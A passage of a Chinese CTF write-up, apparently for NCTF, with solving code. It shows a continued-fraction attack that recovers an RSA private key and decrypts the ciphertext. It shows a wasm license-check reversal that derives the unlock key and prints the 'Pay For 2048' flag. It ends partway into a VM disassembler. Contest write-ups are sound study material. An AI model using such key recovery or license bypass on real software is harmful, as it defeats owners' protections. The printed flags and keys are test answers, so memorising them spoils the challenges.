26px;"><span leaf="">7644208375041516872450030549456915656444133514687363200447949063269742093913874380805034664126688718002946366424146524</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5985156434076104118673576094970348315849796818522310872179048366579621238189976885338169261175873954385632163125064977</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3735624012787652232638988271174869139150027898591314583555691551090584707803956302609222508026439844685112862314576081</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0617559782990517641712522695944468239392218993328870979897380758635248751632971297625794450375551655200515470812229951</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">768946879601448500750228731652608416508751483139575431367276816127751324213761</span></span><span leaf=""><br/></span><span leaf="">  c =</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4659710183444999541492771613628739079293726348549869560762261327498530391914809927737937049962561673944719228936095789</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">452207322953311422907574742284390173017434719506924876701654539254320355</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">cont_frac</span></span><span style="line-height: 26px;"><span leaf="">(n, d)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> d:</span><span leaf=""><br/></span><span leaf="">          a = n // d</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">yield</span></span><span leaf=""> a</span><span leaf=""><br/></span><span leaf="">          n, d = d, n - a * d</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">convergents</span></span><span style="line-height: 26px;"><span leaf="">(cf)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">      p0, p1 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">      q0, q1 = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> a </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> cf:</span><span leaf=""><br/></span><span leaf="">          p0, p1 = p1, a * p1 + p0</span><span leaf=""><br/></span><span leaf="">          q0, q1 = q1, a * q1 + q0</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">yield</span></span><span leaf=""> p1, q1</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> k, d </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> convergents(cont_frac(e, N**</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">)):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> d </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> pow(pow(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, e, N), d, N) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">          print(long_to_bytes(pow(c, d, N)))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Reverse:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Pay For 2048</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">核心逻辑在app.asar里面，里面有个wasm，wasm2c wasm_core.wasm &gt; 1.c转成c看看，flag校验是通过NCTF-XXXX-XXXX-XXXX这12位X校验的，自定义hash是0xFC97CA2F，hash逻辑是</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">function</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rol</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">x, n</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x &lt;&lt; n) | (x &gt;&gt;&gt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf=""> - n))) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">function</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">check</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">norm</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> b = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4951</span></span><span leaf=""> &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> c = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; c &lt; norm.length; c++) {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> f = norm.charCodeAt(c) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> sel = (c &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) ? </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">40503</span></span><span leaf=""> : </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17881</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> t1 = ((((sel + f) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) * (c + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">)) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> ^ rol(b, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">)) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> t2 = (((f &lt;&lt; (c % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) ^ </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xA5A55A5A</span></span><span leaf="">) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      b = (t1 + t2) &gt;&gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> b === </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFC97CA2F</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">unlock_flag 里用固定密文和 normalized_key + &#34;|arcade::unlock-seed&#34; 做按字节异或，固定字符串 &#34;| arcade::unlock-seed&#34; 直接出现在 rodata 中。flag是uuid格式，这样可以得到前五位必定是RU57W</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">那么枚举后6位爆hash就行了</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">key是NCTF-RU57-W45M-2048</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">调用wasm就能拿到flag NCTF{bff16266-c4f2-4dbb-b270-f5ded900b54c}</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> fs = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">require</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;fs&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> bytes = fs.readFileSync(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wasm_core.wasm&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">(</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">async</span></span><span leaf=""> (</span></span><span leaf="">) =&gt;</span></span><span leaf=""> {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> { instance } = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> WebAssembly.instantiate(bytes, {});</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> te = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> TextEncoder();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> td = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> TextDecoder();</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">function</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">call</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">name, payload</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> input = te.encode(</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.stringify(payload));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> ptr = instance.exports.alloc(input.length);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> mem = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Uint8Array</span></span><span leaf="">(instance.exports.memory.buffer);</span><span leaf=""><br/></span><span leaf="">      mem.set(input, ptr);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> packed = BigInt(instance.exports[name](ptr, input.length));</span><span leaf=""><br/></span><span leaf="">      mem = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Uint8Array</span></span><span leaf="">(instance.exports.memory.buffer);</span><span leaf=""><br/></span><span leaf="">      instance.exports.free(ptr, input.length);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> outPtr = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Number</span></span><span leaf="">(packed &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffn</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> outLen = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Number</span></span><span leaf="">((packed &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32n</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffffffffn</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> out = td.decode(mem.slice(outPtr, outPtr + outLen));</span><span leaf=""><br/></span><span leaf="">      instance.exports.free(outPtr, outLen);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(out);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> key = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NCTF-RU57-W45M-2048&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> verify = call(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;verify_license&#39;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span leaf="">      key,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">score</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">steps</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">maxTile</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">board</span></span><span leaf="">: </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Array</span></span><span leaf="">(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">).fill(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sessionToken</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">console</span></span><span leaf="">.log(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;verify =&#39;</span></span><span leaf="">, verify);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> unlock = call(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;unlock_flag&#39;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span leaf="">      key,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">score</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">steps</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">maxTile</span></span><span leaf="">: </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2048</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">board</span></span><span leaf="">: </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Array</span></span><span leaf="">(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">).fill(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">),</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sessionToken</span></span><span leaf="">: verify.data.sessionToken</span><span leaf=""><br/></span><span leaf="">    });</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">console</span></span><span leaf="">.log(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;unlock =&#39;</span></span><span leaf="">, unlock);</span><span leaf=""><br/></span><span leaf="">  })();</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">VM Encryptor</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">命令行程序，vm在偏移1270h，写了个vm解释器</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#!/usr/bin/env python3</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># -*- coding: utf-8 -*-</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> __future__ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> annotations</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> argparse</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> dataclasses </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> dataclass, field</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pathlib </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Path</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> typing </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> List</span><span leaf=""><br/></span><span leaf="">MEM_SIZE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x10000</span></span><span leaf=""><br/></span><span leaf="">STACK_SIZE = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1000</span></span><span leaf=""><br/></span><span leaf="">OPNAMES = {</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x00</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;JMP&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x01</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;JZ&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x02</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;JNZ&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x03</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;PUSH8&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x04</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;PUSH32&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x05</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;LOAD8&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x06</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;LOAD32&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x07</span></span><span leaf="">: </span><span style="color: 